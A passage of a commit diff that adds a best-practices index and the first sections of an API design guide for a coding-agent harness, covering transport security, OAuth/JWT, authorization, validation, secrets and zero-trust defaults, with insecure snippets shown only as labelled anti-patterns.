fix(best-practices): restore canonical content, dedupe, sync script, spec exemplar

- best-practices/v1: replace 9 stale symlinks (into planning/v1) with real files
  synced byte-identical from the canonical best-practices project; add INDEX.md,
  scripting.md, mechanical-test-generation.md (canonical had drifted heavily,
  e.g. api-design.md 463->807 lines)
- planning/v1: delete duplicated best-practices/ copy (requires: inheritance
  confirmed via spec/harness.md HC-1/HC-7)
- scripts/sync-best-practices.sh: idempotent re-sync from canonical checkout
- code-methodology/v1: INDEX.md + scripting.md references now resolve; point
  test-writing tasks at mechanical-test-generation.md
- spec-writing/v1: worked spec exemplar (module layout table, Why: lines, exact
  error messages, parametrize pattern table) + CLAUDE.md pointer + mount entry

harnesses/contexts/best-practices/v1/best-practices/INDEX.md

@@ -0,0 +1,26 @@
+# Best Practices Index
+
+Compact index of the cross-project best-practices docs mounted at `/workspace/best-practices/`.
+One line per doc — read the ones relevant to your current task; consult `spec-driven-development.md`
+and `test-driven-development.md` by default on any planning or coding task.
+
+| File | When to read |
+|---|---|
+| `spec-driven-development.md` | Always for planning/spec tasks — spec structure, requirement numbering, GIVEN/WHEN/THEN scenarios |
+| `test-driven-development.md` | Always for coding/testing tasks — testability, edge cases, property-based testing |
+| `mechanical-test-generation.md` | Writing specs a test-writer agent will consume, or writing tests directly from a spec — module layout tables, pattern-table-as-parametrize-matrix, exact error messages |
+| `security-architecture.md` | Always — server boundary rule, defense in depth, auth patterns |
+| `llm-code-security.md` | Always — injection flaws, input validation, OWASP guidance for LLM-authored code |
+| `api-design.md` | Task involves an HTTP API — transport security, auth, versioning, error envelopes, docs/SDKs, contract testing |
+| `database-selection.md` | Task involves data persistence — choosing a datastore, schema/migration tradeoffs |
+| `kubernetes.md` | Task involves K8s resources — manifests, RBAC, networking, operators |
+| `docker.md` | Task involves containers — Dockerfile patterns, image builds, multi-stage builds |
+| `secrets-management.md` | Task involves credential handling — storage, rotation, delivery to workloads |
+| `scripting.md` | Writing or reviewing a shell script — safety conventions (`set -euo pipefail`, quoting, idempotency) |
+
+## Reading order for common tasks
+
+- **Drafting a spec**: `spec-driven-development.md` → `mechanical-test-generation.md` → domain-specific doc(s) (`api-design.md`, `kubernetes.md`, etc.) → `security-architecture.md` / `llm-code-security.md`.
+- **Writing code from a spec**: `test-driven-development.md` → `mechanical-test-generation.md` (if the spec was written for mechanical test derivation) → domain-specific doc(s).
+- **Writing a shell script**: `scripting.md`.
+- **Any task touching credentials**: `secrets-management.md` + `security-architecture.md`.

harnesses/contexts/best-practices/v1/best-practices/api-design.md

@@ -1 +0,0 @@
-../../../planning/v1/best-practices/api-design.md

harnesses/contexts/best-practices/v1/best-practices/api-design.md

@@ -0,0 +1,807 @@
+# API Design
+
+Best practices for REST/HTTP APIs in internal microservices and platform services. Covers four dimensions: **methodology** (design-first, dogfooding, governance), **security and operations** (transport, auth, validation, service mesh), **developer experience** (docs, SDKs, deprecation signals), and **quality** (contract testing, drift detection). Focused on practical defaults -- not aspirational ideals. Sourced from OWASP API Security Top 10 (2023), RFC 9700 (OAuth 2.0 Security BCP, January 2025), RFC 9457 (Problem Details, 2023), RFC 9745 (Deprecation header, 2024), Google AIP, and production experience.
+
+Cross-references: [Security Architecture](security-architecture.md) covers the server boundary rule and proxy patterns. [Secrets Management](secrets-management.md) covers credential storage and rotation. [Test-Driven Development](test-driven-development.md) covers the testing principles that §8 extends.
+
+---
+
+## 0. API-First Design Process
+
+This section covers methodology -- *how* APIs get designed and governed, not *what* goes in them. The mechanical sections (§1-§6) assume an API-first workflow. If your team is code-first, start here.
+
+### 0.1 Design the contract before writing code
+
+**Principle:** The OpenAPI document is authored, reviewed, and committed before any handler code is written. The spec drives mocks, SDKs, docs, validation middleware, and contract tests in parallel -- not as artifacts generated after the fact.
+
+**Why it matters:** Code-first specs (annotations on handlers exporting OpenAPI) describe how the API was implemented, not how it should be used. They rebake internal types, drift the moment someone refactors, and miss design flaws because the spec inherits them. The Postman 2024 State of the API report puts API-first adoption at 74% (83% including partial adopters).
+
+**How to implement:**
+- Treat the OpenAPI file as source code -- in the repo, in PRs, code-reviewed, versioned.
+- Backend, frontend, and partners build against the same spec from day one. Use Prism (or any OpenAPI mock server) to unblock parallel work before the service exists.
+- Run a brief design review before merging the spec -- focus on resource modelling, lifecycle, and breaking-change risk; let the linter (§0.3) catch mechanical issues.
+- For greenfield, consider TypeSpec (Microsoft) for spec authoring -- it compiles to OpenAPI and is faster to write than raw YAML.
+
+**Anti-patterns:**
+- Spec generated from code annotations and never reviewed independently -- drifts within months.
+- "We'll document it after v1 ships" -- guarantees a v2 rewrite once you discover the design flaws.
+- OpenAPI file treated as build output (not in PRs, not reviewed).
+- Specs that mirror the database schema 1:1 instead of designing the consumer-facing contract.
+
+### 0.2 OpenAPI 3.1 as the single source of truth
+
+**Principle:** Standardize on OpenAPI 3.1 (not 3.0). One document drives docs, SDKs, mocks, validation, and tests across the entire API surface.
+
+**Why it matters:** OpenAPI 3.1 is a superset of JSON Schema Draft 2020-12; 3.0 was a near-but-not-quite subset that forced tooling to maintain two parallel schema engines. Standardizing on 3.1 lets you use one schema language across REST APIs, AsyncAPI 3.0 events, and validation libraries -- no more "validation schema" / "docs schema" split.
+
+**How to implement:**
+- Migrate from 3.0 → 3.1: `nullable: true` is gone (use `type: ["string", "null"]`); `exclusiveMinimum`/`exclusiveMaximum` take values not booleans; `example` becomes `examples` (array); file uploads use `contentMediaType`/`contentEncoding`; the spec gains first-class `webhooks`.
+- Adopt AsyncAPI 3.0 for event payloads -- same JSON Schema dialect, one mental model.
+- Pin to a specific minor (`openapi: 3.1.2`) to avoid silent tooling drift.
+
+**Anti-patterns:**
+- Staying on 3.0 to avoid the migration -- locks you out of conditional schemas (`if`/`then`/`else`), tuple validation, and tool consolidation.
+- Maintaining separate "schemas for validation" and "schemas for docs" -- they will diverge.
+- Using `nullable: true` in a 3.1 doc -- silently ignored by some tools, causes subtle validation gaps.
+- Treating OpenAPI as docs only while runtime validation is implemented separately and drifts.
+
+### 0.3 Governance through linting
+
+**Principle:** API style guides are enforced as code. A Spectral ruleset is checked into the repo and runs in CI on every spec change, blocking merges on errors.
+
+**Why it matters:** Style guides written as wiki pages get ignored. Lint rules don't. Mechanical enforcement also frees design reviews to focus on intent and edge cases instead of bikeshedding naming.
+
+**How to implement:**
+- Adopt Spectral 6.x. Extend the default `oas` ruleset and layer the [Spectral OWASP ruleset](https://github.com/stoplightio/spectral-owasp-ruleset) on top -- it codifies the OWASP API Security Top 10 (2023) at the spec level (e.g. flags any operation lacking `security` as API2:2023).
+- Enforce: resource naming (plural nouns, kebab-case paths, camelCase fields); pagination shape; canonical error envelope (RFC 9457, see §7.3); required `operationId` for SDK gen; mandatory `security` block on every operation; response schemas on every documented status code.
+- Layer rulesets by maturity -- a base ruleset for all APIs, stricter rules for partner/public APIs.
+- Pair with `oasdiff` for breaking-change detection (covered in §8.4).
+
+**Anti-patterns:**
+- Style guide as a wiki page nobody reads -- encode every rule that *can* be linted.
+- One monolithic ruleset applied identically to a prototype and a public API.
+- Per-team error envelopes -- every service inventing its own error shape.
+- Treating every Spectral warning as equally severe -- tune severities or the team will start ignoring all of them.
+
+### 0.4 Dogfood your own API
+
+**Principle:** Internal UIs, admin tools, mobile clients, and partner integrations all consume the same public API surface as third-party developers. No privileged backdoors. No internal-only fields. No hidden endpoints.
+
+**Why it matters:** If your own dashboard cannot authenticate, paginate, or recover from a 429, neither can your customers. Dogfooding is the forcing function that keeps the API actually usable -- and it surfaces auth gaps, rate-limit gaps, and missing affordances before customers find them. The Bezos 2002 mandate at Amazon is the canonical formulation: "no direct linking, no direct reads of another team's data store, no shared-memory model, no back-doors whatsoever."
+
+**How to implement:**
+- Public and internal clients live in the same repo where possible -- code review catches API shortcuts.
+- Internal traffic hits the same gateway, auth, and rate limits as external traffic. No separate "internal" tier.
+- Spectral rule that flags `x-internal: true` operations on the public spec -- prove the absence of backdoors mechanically.
+- Stripe-style "friction logging" -- when teams build new abstractions, document every snag before the abstraction reaches GA. The snags become the next batch of API improvements.
+
+**Anti-patterns:**
+- Admin/internal endpoints that bypass auth or rate limits "because it's just us."
+- Internal-only fields on shared schemas leaking sensitive data, or worse -- external consumers come to depend on them.
+- A separate `/v1-internal` API that diverges from the public one, doubling maintenance.
+- UI that talks directly to the database while customers go through the API -- every UI feature becomes a customer feature request the API can't satisfy.
+
+### 0.5 Auth required by default -- as a design stance
+
+**Principle:** Every operation in the spec has a `security` requirement at design time. Unauthenticated endpoints (health checks, public OIDC discovery) are the rare, deliberately-justified exception, tagged so an auditor can list them in seconds.
+
+**Why it matters:** This is "default deny" applied at API design time, not at the firewall. There is no internal network in a zero-trust model -- every request, including service-to-service, proves identity. Mechanics live in §2; the *design stance* in §0.5 is what decides whether your spec ever reaches a security reviewer with anonymous endpoints in it.
+
+**How to implement:**
+- Spec-level: every operation has a `security` block. Spectral OWASP rule `owasp:api2` enforces it.
+- Code-level: middleware rejects any request to an unauthenticated route unless that route is on an explicit allowlist.
+- For service-to-service calls, identity is mTLS (SPIFFE) or a short-lived JWT -- see §2.3.
+- Track unauthenticated endpoints in a single inventory file. Auditors review it; security review is required to add to it.
+
+**Anti-patterns:**
+- Operations with no `security` block ("we'll add it later" -- you won't).
+- IP allowlist or VPN as the only control between services -- collapses the moment someone runs the service in a different environment.
+- An "internal" tier with no auth because "it's behind the load balancer."
+- API keys as the only credential, shared across services, never rotated.
+
+---
+
+## 1. Transport Security
+
+### 1.1 HTTPS everywhere, no exceptions
+
+**Principle:** Every API endpoint -- internal or external -- must serve over TLS. Plaintext HTTP must not be available, even on internal networks.
+
+**Why it matters:** Without TLS, any network hop (load balancer, sidecar, switch) can observe or modify traffic. Internal networks are not trusted in a zero-trust model -- a compromised pod can sniff adjacent traffic.
+
+**How to implement:**
+- Terminate TLS at the ingress controller (e.g., Traefik, NGINX) with certificates from cert-manager / Let's Encrypt.
+- For service-to-service within the cluster, use a service mesh (Istio, Linkerd) or cert-manager CSI driver to issue per-pod certificates.
+- Set `Strict-Transport-Security` headers on all responses.
+- Redirect HTTP to HTTPS at the ingress layer.
+
+**Anti-patterns:**
+- "Internal traffic doesn't need encryption" -- it does under zero-trust.
+- Self-signed certificates with verification disabled (`--insecure`, `verify=False`) -- defeats the purpose of TLS.
+- Long-lived certificates (years) with no rotation -- use short-lived certs (days to weeks) with automated renewal.
+
+### 1.2 mTLS between services
+
+**Principle:** Service-to-service communication must use mutual TLS -- both sides present and verify certificates.
+
+**Why it matters:** Server-only TLS authenticates the server to the client, but any client can connect. mTLS ensures both parties have a cryptographically verified identity, which is the foundation of zero-trust networking.
+
+**How to implement:**
+- Service mesh (Istio strict mode, Linkerd) handles mTLS transparently via sidecar proxies -- no application code changes.
+- Use SPIFFE/SPIRE for standardized workload identity (SVID certificates).
+- Default certificate lifetime should be short (24 hours) with automatic rotation.
+- Start in permissive mode (allow both plain and mTLS), migrate to strict mode once all services are enrolled.
+
+**Anti-patterns:**
+- Permissive mode as a permanent state -- it must be a migration step, not the end state.
+- Disabling mTLS verification for "debugging" and forgetting to re-enable it.
+- Using a single shared certificate for all services -- each workload needs its own identity.
+
+### 1.3 Certificate management
+
+**Principle:** Certificate issuance and rotation must be fully automated. No manual certificate management in production.
+
+**Why it matters:** Manual certificate management leads to expired certificates, which cause outages. It also leads to long-lived certificates, which increase blast radius if compromised.
+
+**How to implement:**
+- cert-manager in Kubernetes with ClusterIssuer for ingress certificates.
+- Service mesh control plane for workload certificates (Istio Citadel, Linkerd identity).
+- Monitor certificate expiry with alerts at 30/14/7 days before expiry.
+- Store CA keys in HSM or sealed secrets -- never in plaintext ConfigMaps.
+
+**Anti-patterns:**
+- Certificates stored in Git repos (even encrypted, they need rotation).
+- Wildcard certificates shared across trust boundaries.
+- No monitoring for certificate expiry -- silent failures at 3am.
+
+---
+
+## 2. Authentication and Authorization
+
+### 2.1 OIDC/OAuth2 for user-facing APIs (RFC 9700)
+
+**Principle:** Use OAuth 2.0 Authorization Code flow with PKCE for all client types. The implicit flow and resource owner password credentials flow are deprecated per RFC 9700 (January 2025).
+
+**Why it matters:** The implicit flow exposes access tokens in URLs and browser history. The password grant requires users to share credentials directly with the client, bypassing centralized identity providers.
+
+**How to implement:**
+- Authorization Code + PKCE for all clients (web, mobile, CLI). PKCE is now mandatory for all client types, not just public clients.
+- Use `S256` challenge method (not `plain`).
+- Tokens issued by the authorization server, validated by the resource server.
+- Use Authorization Server Metadata (RFC 8414) for automatic discovery of endpoints and supported features.
+
+**Anti-patterns:**
+- Implicit flow (`response_type=token`) -- deprecated by RFC 9700.
+- Resource Owner Password Credentials flow -- deprecated by RFC 9700.
+- Storing tokens in localStorage (accessible to XSS) -- use httpOnly cookies or in-memory storage with refresh token rotation.
+- Long-lived access tokens without refresh -- use short-lived access tokens (5-15 minutes) with refresh token rotation.
+
+### 2.2 JWT best practices
+
+**Principle:** JWTs must be validated completely on every request -- signature, expiry, issuer, audience, and algorithm.
+
+**Why it matters:** Incomplete JWT validation is a top attack vector. Accepting expired tokens, wrong audiences, or `alg: none` enables token forgery and replay.
+
+**How to implement:**
+- Validate: signature (asymmetric preferred -- RS256/ES256), `exp`, `iat`, `iss`, `aud`, `nbf`.
+- Use asymmetric signing (RS256/ES256) so that only the auth server holds the private key. Resource servers only need the public key.
+- Set `aud` claim to the specific API audience -- reject tokens intended for other services.
+- Keep tokens small -- put only identity and authorization claims in the token, fetch additional data from a userinfo endpoint.
+- Use `jti` (JWT ID) claim for token revocation checks when needed.
+
+**Anti-patterns:**
+- Accepting `alg: none` or allowing algorithm switching -- pin the expected algorithm server-side.
+- Not validating `aud` -- allows tokens from one service to be replayed against another.
+- Symmetric signing (HS256) with a shared secret across services -- if one service is compromised, all are.
+- Treating JWTs as sessions -- JWTs are not revocable by default. Combine with short expiry and token introspection for revocation.
+
+### 2.3 Service-to-service authentication
+
+**Principle:** Services authenticate to each other using mTLS identities (SPIFFE) or short-lived JWTs from a token exchange. Never shared static API keys.
+
+**Why it matters:** Shared API keys have no expiry, no rotation path, no per-service identity, and no audit trail. If one service is compromised, the key works for everything.
+
+**How to implement:**
+- **Preferred: mTLS with SPIFFE.** The service mesh provides identity automatically. Authorization policies reference SPIFFE IDs (e.g., `spiffe://cluster.local/ns/payments/sa/payment-svc`).
+- **Alternative: OAuth2 Client Credentials flow.** Each service has its own `client_id` and `client_secret` (or asymmetric key pair). Tokens are short-lived and scoped to specific audiences.
+- Use asymmetric client authentication (private_key_jwt per RFC 7523) rather than client secrets where possible.
+- Implement audience restriction -- tokens minted for service A must not be accepted by service B.
+
+**Anti-patterns:**
+- Shared static API keys passed in headers or query strings.
+- One "admin" service account used by all services.
+- Service-to-service tokens with no audience claim -- replayable across any internal API.
+- Bearer tokens without mTLS -- if the network is compromised, the token can be stolen and replayed from anywhere.
+
+### 2.4 Authorization: object-level and function-level
+
+**Principle:** Check authorization at every API endpoint, for every object access, based on the authenticated identity. Never rely on "the client won't send that request."
+
+**Why it matters:** Broken Object-Level Authorization (BOLA) is the #1 risk in the OWASP API Security Top 10. Broken Function-Level Authorization is #5. These are the most common API vulnerabilities found in penetration tests.
+
+**How to implement:**
+- Every endpoint that accesses a specific resource must verify the caller owns or has access to that resource.
+- Use middleware/decorators that enforce authorization before the handler runs.
+- Use random UUIDs for resource identifiers, not sequential integers (which are trivially enumerable).
+- Separate authorization for data access (BOLA) and function access (admin endpoints, bulk operations).
+- Automated tests that verify: user A cannot access user B's resources, non-admin cannot call admin endpoints.
+
+**Anti-patterns:**
+- Authorization only at the API gateway -- must also be enforced at the service level.
+- Relying on obscurity of endpoint URLs for access control.
+- Sequential/predictable resource IDs without authorization checks.
+- Missing authorization on secondary endpoints (e.g., `/users/{id}/orders` checks user but not order ownership).
+
+---
+
+## 3. API Design Patterns
+
+### 3.1 Versioning
+
+**Principle:** Version your API from day one using URL path versioning (`/v1/`). Support at most two versions simultaneously. See §7.5 for the deprecation-comms counterpart (`Deprecation` and `Sunset` headers, changelog UX) and the alternative versioning models (Stripe-style dated, GitHub-style header).
+
+**Why it matters:** Breaking changes without versioning cause cascading failures across all consumers simultaneously. Supporting too many versions creates maintenance burden and security risk (old versions may lack patches).
+
+**How to implement:**
+- URL path: `/api/v1/resources` -- simple, visible, cacheable.
+- Deprecation policy: announce deprecation in response headers (`Deprecation: true`, `Sunset: <date>`).
+- Maximum two active versions. When v3 launches, v1 is removed.
+- Internal services can use header-based versioning (`Accept: application/vnd.myapi.v2+json`) if URL versioning is too rigid for rapid iteration.
+
+**Anti-patterns:**
+- No versioning ("we'll be careful") -- you will break consumers.
+- Unlimited version support -- v1 through v7 all still running, each with different bugs.
+- Breaking changes in a patch version.
+- Versioning individual endpoints instead of the whole API surface.
+
+### 3.2 Pagination
+
+**Principle:** All list endpoints must paginate. Use cursor-based pagination for real-time data; offset-based for stable datasets.
+
+**Why it matters:** Unbounded list responses cause memory exhaustion, slow responses, and database strain. Large offset values cause full table scans.
+
+**How to implement:**
+- **Cursor-based (preferred):** Return an opaque `next_cursor` token. Client passes it to get the next page. Stable under concurrent writes.
+  ```json
+  { "data": [...], "next_cursor": "abc123", "has_more": true }
+  ```
+- **Offset-based (simple datasets):** `?limit=50&offset=100`. Acceptable for admin dashboards or infrequently changing data.
+- Set a maximum page size (e.g., 100) enforced server-side. Ignore client requests for larger pages.
+- Always return pagination metadata (`next_cursor`, `has_more`, or `total_count` if cheap to compute).
+
+**Anti-patterns:**
+- No pagination on list endpoints -- returns 50,000 records in one response.
+- Offset-based pagination on large, frequently-changing datasets -- pages shift as records are inserted/deleted.
+- Client-controlled page size with no server-side maximum.
+- `total_count` requiring a full table scan on every request -- make it optional or cached.
+
+### 3.3 Error handling
+
+**Principle:** Return structured, machine-readable errors with stable error codes, human-readable messages, and consistent shape across all endpoints. Standardise on RFC 9457 Problem Details (`application/problem+json`) -- see §7.3 for the spec-side definition and error catalog pattern.
+
+**Why it matters:** Inconsistent error formats force every consumer to write custom parsing logic. Missing error codes make automated retry decisions impossible. Leaking stack traces exposes internals to attackers.
+
+**How to implement:**
+- Standard error envelope:
+  ```json
+  {
+    "error": {
+      "code": "RESOURCE_NOT_FOUND",
+      "message": "Order 7f3a... not found",
+      "details": [{ "field": "order_id", "reason": "not_found" }]
+    }
+  }
+  ```
+- Use HTTP status codes correctly: 400 (bad input), 401 (unauthenticated), 403 (unauthorized), 404 (not found), 409 (conflict), 422 (validation), 429 (rate limited), 500 (server error).
+- Error codes are stable strings (not integers) that consumers can switch on.
+- Never expose stack traces, SQL errors, or internal paths in error responses.
+- Log the full error server-side with a correlation ID. Return only the correlation ID to the client.
+
+**Anti-patterns:**
+- 200 OK with `{"success": false}` -- use HTTP status codes.
+- Returning raw database errors ("duplicate key violates unique constraint on...").
+- Different error shapes from different endpoints in the same API.
+- Generic "Internal Server Error" with no correlation ID -- impossible to debug.
+
+### 3.4 Idempotency
+
+**Principle:** All state-changing operations must be safe to retry. Use idempotency keys for POST requests; PUT and DELETE are idempotent by definition.
+
+**Why it matters:** Network failures, timeouts, and retries are normal in distributed systems. Without idempotency, retried requests create duplicate orders, double payments, or inconsistent state.
+
+**How to implement:**
+- Accept `Idempotency-Key` header (IETF draft: draft-ietf-httpapi-idempotency-key-header) on POST endpoints.
+- Server stores the response for a given key (TTL 24-48 hours). Duplicate requests return the stored response.
+- Use UUIDv4 for idempotency keys -- never sequential or timestamp-based (predictable/guessable).
+- Handle concurrent duplicate requests with locking: first request processes, subsequent requests wait then return cached response.
+- PUT must be truly idempotent: same request, same result, no side effects on repeat.
+
+**Anti-patterns:**
+- POST endpoints with no idempotency support -- every retry creates a duplicate.
+- Idempotency keys stored forever (memory leak) or for too short a period (retries after expiry create duplicates).
+- Client-generated sequential keys (integers, timestamps) -- guessable and exploitable.
+- "Idempotent" endpoints that still send duplicate emails/webhooks on retry.
+
+### 3.5 Rate limiting
+
+**Principle:** Every API must enforce rate limits. Return standard headers so clients can self-throttle.
+
+**Why it matters:** Without rate limits, a single misbehaving client (or attacker) can exhaust resources for all consumers. Rate limits also protect downstream dependencies.
+
+**How to implement:**
+- Token bucket or sliding window algorithm (token bucket is simplest with good burst handling).
+- Return headers: `X-RateLimit-Limit`, `X-RateLimit-Remaining`, `X-RateLimit-Reset` (IETF draft still pending; `X-` prefix remains de facto standard).
+- Return `429 Too Many Requests` with `Retry-After` header (RFC 6585).
+- Rate limit checks execute before expensive operations (auth, database queries).
+- For distributed deployments, use Redis with atomic Lua scripts for counter operations -- avoid race conditions.
+- Different tiers for different consumers (internal services get higher limits than external clients).
+
+**Anti-patterns:**
+- No rate limiting ("it's an internal API") -- a runaway loop in one service takes down the whole platform.
+- Rate limiting after expensive operations (database query runs, then rate limit rejects the response).
+- No `Retry-After` header -- clients retry immediately in a tight loop, making the problem worse.
+- Per-IP rate limiting only -- bypassed by distributed clients, unfair to NAT'd users.
+
+---
+
+## 4. Input Validation
+
+### 4.1 Schema validation at the edge
+
+**Principle:** Validate all request bodies against a schema (OpenAPI/JSON Schema) at the API gateway or middleware layer. Reject requests that don't conform before they reach business logic. The same OpenAPI document drives runtime validation here, in-test validation in §8.1, and the docs in §7.1 -- one source of truth (§0.2).
+
+**Why it matters:** Invalid input that reaches business logic causes unpredictable behavior -- crashes, data corruption, injection attacks. Edge validation is the first line of defense.
+
+**How to implement:**
+- Define request/response schemas in OpenAPI 3.x. Generate validation middleware from the spec.
+- Reject unknown fields (additionalProperties: false) -- attackers probe via unexpected fields.
+- Enforce type constraints: string lengths, integer ranges, enum values, date formats.
+- Validate `Content-Type` header -- reject requests with unexpected content types (e.g., reject `multipart/form-data` on a JSON-only endpoint).
+
+**Anti-patterns:**
+- Validation only in business logic, not at the edge -- invalid data traverses the full call stack before rejection.
+- Accepting and silently ignoring unknown fields -- hides bugs and enables mass assignment attacks.
+- Validating types but not ranges -- accepting an `age` field of 99999 or -1.
+- No schema at all ("we'll validate manually") -- inconsistent validation across endpoints.
+
+### 4.2 Injection prevention
+
+**Principle:** Use parameterized queries for all database access. Never concatenate user input into queries, commands, or templates.
+
+**Why it matters:** SQL injection remains in the OWASP Top 10 after 20+ years. NoSQL injection, LDAP injection, and command injection follow the same pattern -- unsanitized input in a query language.
+
+**How to implement:**
+- Use an ORM (SQLAlchemy, Prisma, TypeORM) or parameterized queries. All major ORMs parameterize by default.
+- For raw SQL (performance-critical paths), use prepared statements exclusively.
+- Validate input with allowlists, not denylists. If a field should be a UUID, validate it's a UUID -- don't try to strip "malicious characters."
+- For template rendering, use auto-escaping (Jinja2 autoescape, React JSX auto-escaping).
+
+**Anti-patterns:**
+- String concatenation in SQL: `f"SELECT * FROM users WHERE id = '{user_input}'"`.
+- Denylisting dangerous characters instead of allowlisting valid patterns.
+- Trusting input from "internal" services -- a compromised upstream service sends malicious data.
+- Disabling ORM parameterization for "performance" without understanding the security cost.
+
+### 4.3 Request size and depth limits
+
+**Principle:** Enforce maximum request body size, JSON nesting depth, and array length at the gateway level.
+
+**Why it matters:** Deeply nested JSON or extremely large payloads cause CPU exhaustion during parsing (hash collision attacks, recursive descent parsers). This is a denial-of-service vector.
+
+**How to implement:**
+- Set maximum body size at the reverse proxy/ingress (e.g., `client_max_body_size 1m` in NGINX).
+- Limit JSON nesting depth (8-16 levels is generous for any real use case).
+- Limit array sizes in request bodies (e.g., batch endpoints accept max 100 items).
+- Set request timeouts at the gateway -- don't let slow clients hold connections open.
+
+**Anti-patterns:**
+- No body size limit -- 100MB JSON payload parsed by every middleware layer.
+- Accepting arbitrarily nested JSON -- `{"a":{"a":{"a":...}}}` 1000 levels deep.
+- Batch endpoints with no limit -- client sends 1 million items in one request.
+
+---
+
+## 5. Secrets in APIs
+
+### 5.1 Never in URLs or query parameters
+
+**Principle:** Authentication tokens, API keys, and any secret material must be sent in headers (Authorization, custom headers) or request bodies. Never in URLs or query parameters.
+
+**Why it matters:** URLs are logged everywhere -- web server access logs, proxy logs, browser history, referrer headers, CDN logs, monitoring tools. A token in a URL is a token in every log file in the request path.
+
+**How to implement:**
+- Use `Authorization: Bearer <token>` header for all token-based auth.
+- For webhook signatures, use a signature header (e.g., `X-Hub-Signature-256`).
+- If an API currently accepts tokens in query params, deprecate that path and migrate to header-based auth.
+- Configure log scrubbing to redact Authorization headers, but don't rely on it as the primary control.
+
+**Anti-patterns:**
+- `GET /api/resources?api_key=sk_live_abc123` -- key in every access log.
+- OAuth redirect URIs with tokens in query params (use `response_mode=form_post` or authorization code flow).
+- Webhook URLs with embedded secrets (`/webhook?secret=abc`) -- logged, cached, shared.
+
+### 5.2 Token rotation and expiry
+
+**Principle:** All tokens and API keys must have expiry dates and a documented rotation procedure. No permanent credentials.
+
+**Why it matters:** Leaked tokens without expiry are valid forever. Rotation limits blast radius -- even if a token is compromised, it expires soon.
+
+**How to implement:**
+- Access tokens: 5-15 minute expiry, refreshed via refresh token.
+- Refresh tokens: rotate on use (each refresh issues a new refresh token and invalidates the old one).
+- API keys for external integrations: 90-day rotation policy with overlap period (new key valid before old key expires).
+- Service account tokens (OAuth2 client credentials): short-lived (1 hour), fetched on demand.
+- Track expiry dates in a credential inventory. Alert before expiry (see [Secrets Management](secrets-management.md) -- Credential Lifecycle Management).
+
+**Anti-patterns:**
+- API keys that never expire ("we'll rotate them when we need to" -- you won't).
+- Refresh tokens that don't rotate -- stolen refresh token provides permanent access.
+- No overlap period during rotation -- brief outage while all consumers update.
+- Hardcoded tokens in application config deployed via CI -- rotation requires a full redeploy.
+
+### 5.3 No secrets in logs or error responses
+
+**Principle:** Scrub all secrets from logs, error responses, and monitoring data. Structured logging with explicit field selection is safer than serializing request objects.
+
+**Why it matters:** Log aggregation systems (ELK, Loki, Datadog) are often accessible to broader teams than production systems. A token in a log entry has a much wider exposure surface than a token in a running process.
+
+**How to implement:**
+- Use structured logging. Log specific fields, not entire request objects.
+- Redact `Authorization` headers and any field matching `token`, `password`, `secret`, `key` patterns in log middleware.
+- Never log request bodies for auth endpoints (login, token exchange).
+- Error responses must not include internal state -- return a correlation ID and log details server-side.
+
+**Anti-patterns:**
+- `logger.info(f"Request: {request.headers}")` -- logs all headers including Authorization.
+- Error responses that include the original request (including auth headers) for "debugging convenience."
+- Logging full webhook payloads that contain signing secrets in custom headers.
+
+---
+
+## 6. Service Mesh and Zero Trust
+
+### 6.1 Default deny with explicit allow
+
+**Principle:** Network policies and authorization policies must default to deny-all. Every allowed communication path is explicitly defined.
+
+**Why it matters:** Default-allow means a compromised service can reach every other service in the cluster. Default-deny contains the blast radius to only the services the compromised workload was authorized to reach.
+
+**How to implement:**
+- Kubernetes NetworkPolicy: deploy a default-deny policy in every namespace, then add specific allow rules.
+  ```yaml
+  apiVersion: networking.k8s.io/v1
+  kind: NetworkPolicy
+  metadata:
+    name: default-deny-all
+  spec:
+    podSelector: {}
+    policyTypes: [Ingress, Egress]
+  ```
+- Service mesh authorization policies: deny by default, allow specific source-to-destination pairs by SPIFFE ID.
+- Audit policies periodically -- remove rules for decommissioned services.
+
+**Anti-patterns:**
+- No network policies ("everything's in the cluster, it's fine").
+- Overly broad allow rules (`allow all from namespace X`) -- defeats the purpose.
+- Network policies without egress rules -- ingress-only policies still allow compromised pods to exfiltrate data.
+
+### 6.2 Least-privilege service identities
+
+**Principle:** Each service gets its own identity (Kubernetes ServiceAccount + SPIFFE SVID) with the minimum permissions needed. No shared service accounts.
+
+**Why it matters:** Shared identities prevent granular authorization, audit trails, and revocation. If services A and B share an identity, you cannot authorize A without also authorizing B.
+
+**How to implement:**
+- One Kubernetes ServiceAccount per workload (not per namespace).
+- RBAC bindings scoped to exactly what the service needs (specific API groups, resources, verbs).
+- Authorization policies reference specific service identities: "payment-svc can call order-svc on POST /orders/{id}/payment."
+- Regularly audit which identities have access to which services -- prune unused access.
+
+**Anti-patterns:**
+- Default ServiceAccount used by all pods in a namespace.
+- Cluster-wide RBAC bindings for convenience.
+- Service identities with wildcard permissions ("allow all methods on all paths").
+- No audit of identity-to-service mappings.
+
+### 6.3 Observability as a security control
+
+**Principle:** Distributed tracing, access logs, and metrics from the service mesh are security controls, not just debugging tools. Monitor them for anomalies.
+
+**Why it matters:** Zero trust assumes breach. Detection depends on visibility. If you can't see who called what, you can't detect lateral movement.
+
+**How to implement:**
+- Enable access logging in the service mesh (Istio/Envoy access logs, Linkerd tap).
+- Distributed tracing (OpenTelemetry, Jaeger) with trace context propagated across all service calls.
+- Alert on anomalies: unexpected source-destination pairs, unusual request volumes, authorization denials.
+- Retain access logs long enough for incident investigation (30-90 days minimum).
+
+**Anti-patterns:**
+- Disabling access logging for performance -- sample instead of disabling entirely.
+- Tracing only in development, not production.
+- No alerting on authorization policy denials -- failed access attempts are the signal.
+
+---
+
+## 7. API Documentation and Developer Experience
+
+The OpenAPI document from §0.2 is also the input to docs, SDKs, and changelogs. Hand-written variants drift.
+
+### 7.1 Render docs from the OpenAPI spec
+
+**Principle:** Documentation is rendered automatically from the committed OpenAPI document by an open-source or SaaS tool -- never hand-written prose that drifts from code.
+
+**Why it matters:** Hand-written docs are wrong within weeks of any active API. Spec-driven docs cannot drift because they are recompiled on every spec change. The 2024-2025 doc-rendering market shifted decisively: Scalar (open source, MIT, framework-native middleware) is the default new pick; Mintlify dominates the SaaS tier (markdown + OpenAPI, used by Anthropic, Microsoft, Coinbase). Swagger UI still works but is no longer the default new-project choice; Stoplight Elements development slowed sharply after the SmartBear acquisition.
+
+**How to implement:**
+- New projects -- pick Scalar for OSS, Mintlify or ReadMe.com for SaaS. Use Redoc if you want a single-page reference style.
+- Docs build and deploy on every spec change; pipeline fails closed if the spec doesn't lint.
+- Host docs at a stable URL (`docs.<domain>` or `<api-domain>/docs`).
